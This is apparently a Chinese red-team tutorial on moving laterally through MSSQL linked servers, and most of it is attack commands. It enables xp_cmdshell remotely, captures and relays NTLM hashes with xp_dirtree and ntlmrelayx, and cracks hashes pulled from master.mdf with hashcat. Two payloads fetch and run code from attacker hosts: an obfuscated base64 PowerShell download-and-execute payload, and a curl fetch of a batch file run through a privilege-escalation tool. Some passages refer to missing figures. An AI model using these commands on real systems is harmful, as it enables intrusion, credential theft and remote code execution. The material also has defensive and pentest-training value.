前言
在我们做渗透测试的过程中有时候会遇到mssql server数据库,当我们通过rce、sql注⼊弱⼝令 空密码 凭据泄漏等⽅式最终可以登录mssql server所在服务器/数据库时。今天将以不同的攻击⻆度来看下如何完成后续的横向渗透及拓展。
信息查询语句
SELECT IS_SRVROLEMEMBER('sysadmin','[domain]\username') //
查询当前⽤户是否是系统管理员组,为1则为系统管理员
SELECT IS_SRVROLEMEMBER('public','[domain]\username'); //查询当前⽤户是否是公共⻆⾊,为1则为公共⻆⾊
SELECT SYSTEM_USER; //查看系统组⽤户身份
SELECT USER_NAME(); //查看当前登录⽤户名
MSSQL IMPERSONATE权限
//查看可模仿的⽤户名,若有则可以AS LOGIN 从⽽命令执⾏
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN
sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE
a.permission_name = 'IMPERSONATE';
MSSQL 执⾏CMD
A.xp_cmdshell ⽅式
//查看sp_configure选项是否开启
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT linked hostname;
B.sp_OACreate ⽅式
C.其他⽅式
利⽤MSSQL进⾏横向移动
什么时候考虑从mssql来进⾏横向移动?
⽐如域内SPN 通过Kerberoast 获取了SPN server的HASH,但⽆法如下图⼀样破解出密码并登录
或者必须要通过⼀些数据联合调⽤的情况时,可尝试寻找利于MSSQL来横向移动,当然通过mssql横向除了link-server以外还有其他的⽅式可以完成,这点留在最后。
简单来讲MSSQL达到横向移动通常只在配置了sql-link条件下才能做横向移动,并且若启动 mssql服务的⽤户是管理组成员,则可通过多种⽅式完成横向移动
配置了mssql-link-server
使⽤当前⽤户凭据 成功连接mssql-link-server
这种场景下的横向移动攻击⽅式可应⽤于局域网、AD Domain 和 Forest Domain,三种的区别仅
仅是是否有域信任、林内域或林外域信任关系
实例演示
注:本次演示只演示MSSQL横向移动的⽅法,不涉及提权的部分。
1-基于局域⽹的MSSQL-link横向移动
假设局域⽹内⼀台部署了mssql server的机器存在安全隐患导致MSSQL⽤户/管理员的凭据泄漏
那么我们可以使⽤两种⽅式先连接mssql
//mssql user way
impacket-mssqlclient -p 1433 -db music webapp11:******@192.168.57.140
//windows-auth way
impacket-mssqlclient -p 1433 -db master administrator:******@192.168.84.140
-hashes ***:*** -windows-auth
也可以直接使⽤kali ⾥⾯的mssql,内置了2种命令执⾏的⽅法
mssqlclient.py -p 1433 -db master administrator@172.16.110.107 -hashes
******:****** -windows-auth
如果以windows-auth登录的话,若是管理员组成员,那么是ado权限,可直接执⾏系统命令
如果以windows-auth登录的话,若不是管理员组成员,那么是guest权限,需要进⼀步进⾏提权(提权mssql权限或提权windows user权限)然后利⽤ IMPERSONATE 进⾏权限伪造 登录后均可查询link-server,当我们发现⼀台设备的mssql具备sqlserver-link的情况,并且当前⽤户凭据可以登录link server的数据库时,可以进⼀步攻击link的服务器
EXEC sp_linkedservers;
可以看到本机(SQL11)链接了SQL27 跟 SQL53
可以看到本机对link的机器进⾏连接测试成功,那么便可以通过openquery ... AT的⽅式尝试调⽤xp_cmdshell等⽅式执⾏命令
EXECUTE AS LOGIN = 'webapp11';
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT SQL27; EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT SQL27;
EXEC ('xp_cmdshell ''whoami'';') AT SQL27;
2.基于MSSQL的域环境下横向渗透
背景:两台配置了域内机器/域信任机器,其中⼀台配置了另⼀台的link-server。下⾯⽤两个实例来做下简单演示,两者还是有细微的区别。
命令执⾏实例
//使⽤AT在link-server命令执⾏
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT linked- hostname;
EXEC ('xp_cmdshell ''whoami'';') AT linked-hostname;
使⽤openquery
ntlm-relayx实例
使⽤ntlmrelayx 监听来⾃⽬标机器的哈希凭据(⽬的是通过sql-link⽅式通过smb协议窃取凭据,并执⾏系统命令)
在已拿下的机器通过如xp_dirtree的⽅式远程访问共享⽬录
//in kali
proxychains impacket-ntlmrelayx --no-http-server -smb2support -c "cmd" -t target_ip
//in pwned-mssql
EXEC master..xp_dirtree //kali_ip/share
当我们当前使⽤的mssql凭据可以直接连接link机器时,可以直接通过下列命令在link机器上完成命令执⾏
若放到link-server场景下,使⽤openquery来窃取凭据就是如下命令,这样则可以窃取到link⽬标的哈希
select 1 from openquery("sqllinked-hostname", 'select 1; EXEC master..xp_dirtree ''\\192.168.49.57\share''')
proxychains impacket-ntlmrelayx --no-http-server -smb2support -c 'powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBl AGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkA UAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB1AFMARQB2AD0AbgBl AHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMA eQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkA ewAkAHUAUwBFAHYALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABd ADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAB1AFMARQB2AC4A UAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBu AHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEA bABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBi AEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAA OgAvAC8AMQA5ADIALgAxADYAOAAuADQAOQAuADgANAA6ADgAMAA4ADAALwBDAHoAcQBUAFMAYgAx AG0AQgAvAGMAWQB4AHEAVgA2ADYAOQBUACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIA agBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABT AHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANAA5AC4AOAA0ADoA OAAwADgAMAAvAEMAegBxAFQAUwBiADEAbQBCACcAKQApADsA' -t 172.16.84.151
3-MSSQL横向tips拓展
A.MSSQL-Account Hash Crack
https://github.com/xpn/Powershell-PostExploitation
Add-Type -Path 'OrcaMDF.RawCore.dll'
Add-Type -Path 'OrcaMDF.Framework.dll'
import-module .\Get-MDFHashes.ps1
Get-MDFHashes -mdf "C:\Users\administrator\Desktop\master.mdf"
Get-MDFHashes -mdf "C:\Users\administrator\Desktop\master.mdf" | format-list
然后可以⽤hahscat 开始爆破
hashcat -m 132 -O -a 0 -w 4 --session=mssql -o mssql.out mssql_hash seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
B-RPC OUT settings
RPC Out不是默认开启的设置,但通常由系统管理员设置。如果不允许RPC Out,如果我们当前的⽤户具有 sysadmin⻆⾊成员身份,则可以使⽤sp_serveroption存储过程,Microsoft⽂档明确指出在链接的SQL 服务器上不⽀持执⾏存储过程。相反,我们将使⽤AT关键字来指定应该在哪个链接的SQL服务器上执⾏查询。
默认是不开启的,所以需要开启它 有两种⽅式
第⼀种:在获取的配置了SQL-link的机器上通过属性开启
第⼆种:通过mssql-client命令⾏开启
EXECUTE AS LOGIN = 'sa';
SELECT
is_rpc_out_enabled FROM sys.servers
WHERE name = 'sqllinked-hostname';
EXEC sp_serveroption 'sqllinked-hostname', 'rpc out', 'true';
C-PowerUpSQL
https://github.com/NetSPI/PowerUpSQL
https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet
//在拿下的配置了sql-link-server的机器中使⽤当前凭据查询link machine并执⾏命令
Get-SQLServerLinkCrawl -Instance instance1 -Query "exec master..xp_cmdshell 'cmd /c calc.exe'" -Verbose
else
//在target machine上执⾏printnight
EXEC ('xp_cmdshell ''curl 192.168.49.57:82/a.bat -o
c:\users\public\b.bat'';') AT sqllinked-hostname
EXEC ('xp_cmdshell ''c:\users\public\pf.exe -i -c "cmd.exe /c
c:\users\public\b.bat"'';') AT sqllinked-hostname
//命令执⾏失败时 查看是不是openquery失败了。
select version from openquery("sqllinked-hostname", 'select USER_NAME() as
version')
参考⽂档
https://notes.vulndev.io/notes/redteam/payloads/windows/mssql
https://blog.xpnsec.com/extracting-master-mdf-hashes/
https://www.graa.nl/articles/1930.html
https://h4ms1k.github.io/Red_Team_MSSQL_Server/#
https://wiki.apbcybersec.co.za/windows/active-directory/red-teaming/domain-privilege- escalation/trust-abuse-mssql
https://www.modb.pro/db/66194